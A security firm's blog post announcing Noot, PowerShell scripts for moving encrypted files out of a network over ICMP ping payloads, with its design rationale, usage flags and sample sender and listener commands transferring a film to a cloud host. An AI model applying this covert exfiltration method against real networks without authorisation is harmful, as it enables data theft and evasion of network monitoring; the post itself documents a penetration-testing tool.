Noot - Encrypted resumable ICMP exfiltration

Aug 4 2024

Noot: a pair of PowerShell scripts for transferring files using ICMP (ping). Complete with encryption, partial transfer resume, and big (1GB+) file support.

Find it here: https://github.com/Pulse-Security/noot/

Why

I found myself on an engagement where I needed to transfer some data via ICMP. There are plenty of tools out there already that do this, but at the time, I couldn’t find one that met my requirements:

  • Runs on Windows - can be copy/pasted around
  • Reliable - doesn’t lose the data half the time
  • Resume - resend any lost packets
  • Works on large files
  • Data encryption

The Scripts

To keep things simple I didn’t attempt any mechanism for negotiating resends. The ping payload contains the total number of chunks in the transfer, and the listener script keeps track of which chunks it has. When the listener finishes, it outputs which chunks are missing, which can then be fed into the sender script to resend. Aside from keeping things simpler, this also means the transfer will work even if the sending host can’t receive ICMP echo replies from the listener.

The script uses System.Security.Cryptography.AesManaged with the default mode (CBC), but using something better like AesGcm would prevent the script from working on PowerShell versions prior to 7. Having this work on a wider range of hosts was more important to me than cryptographic purity.

Sending should hopefully be fairly self-explanatory. If you start up the listener without any arguments, it’ll print values you can plug into the sender script to get things going:

PS C:\Users\Administrator> .\listen.ps1 -o Detour.1945.1080p.BluRay.x264.mp4
2024-08-02 02:33:54Z: XferId not supplied, generating one (use this with the sender): 4E21
2024-08-02 02:33:54Z: No key specified, using generated one: CEA3D02463F82D73531C3A783719E68C
2024-08-02 02:33:54Z: Data will be written to Detour.1945.1080p.BluRay.x264.mp4
2024-08-02 02:33:54Z: Ready to receive data, listening on 172.31.29.102

If your listening host has multiple interfaces, you’ll want to make sure the script is listening on the correct one using the -ip parameter. The IP is just used to identify the interface where the pings will come in; it doesn’t have to match the IP that the sender script is using. The xferId is there so random unrelated ICMP traffic doesn’t mess with your transfer and the key is used for the encryption.

The sender script uses the -i flag to specify your input file, -h for the host running the listener, -x for the xferId , -c for the chunk size, and -k for your key. If you leave any of the required parameters off PowerShell will helpfully prompt you for them:

PS C:\Users\user\noot> .\sender.ps1 -i .\Detour.1945.1080p.BluRay.x264.mp4 -h ec2-54-160-155-54.compute-1.amazonaws.com -c 99999 -x 4E21

cmdlet sender.ps1 at command pipeline position 1
Supply values for the following parameters:
key: CEA3D02463F82D73531C3A783719E68C
Warning: using maximum chunksize of 32719 bytes for a total of 35548 file chunks
Warning: chunksizes over 1423 bytes could cause max MTU issues.
XferId is 4E21, sending to ec2-54-160-155-54.compute-1.amazonaws.com, data will be read from C:\Users\user\noot\Detour.1945.1080p.BluRay.x264.mp4
Sending all 35548 file chunks...
Sent 10 / 35548 chunks
Sent 20 / 35548 chunks
Sent 30 / 35548 chunks

The sender script caps chunk sizes at 32719 bytes because I ran into decryption errors when I stepped over this limit. The script gets along well enough that I haven’t bothered investigating why this is.

If you don’t specify a chunk size with -c, the script will pick 1423 for you, which in theory will result in an ICMP packet that will not exceed the typical MTU of 1500. I read some stuff early on which suggested it was important to keep the ICMP packets under this size; however, during my testing, I found I could send ICMP echoes with payloads of up to 32 kilobytes without any problems, making a massive difference to the transfer rate. I haven’t looked into it but I suspect there’s some sort of transparent packet fragmentation/reassembly:

By default the sender script uses a 1 millisecond sleep between packets, you can wind this up a smidge by specifying -s 0, or slow things right down with something like -s 1000 . I found if the CPU on the host running the listener starts hitting 100% you really start losing packets, so depending on your circumstances you might get better results by slowing things down a bit.

Resuming transfers uses the -r parameter. Once the listener script completes (either after receving the final packet or because you hit Ctrl+C), it will output the missing chunks of the file in PowerShell array notation. This can be directly copy and pasted into the sender script’s -r parameter. You can see how this works in the clip below.

In Action

This thing actually worked quite a bit better than I expected, especially when you use the maximum chunk size. The following clip shows the fine public domain film Detour being sent from my Windows 10 VM to a t2.micro EC2 instance running Windows Server 2022 using the maximum chunk size:

The clip’s been sped up, but the 1.08 GB film transfered using three rounds of resends which took about 20 minutes all up. I can live with that.


Follow us on LinkedIn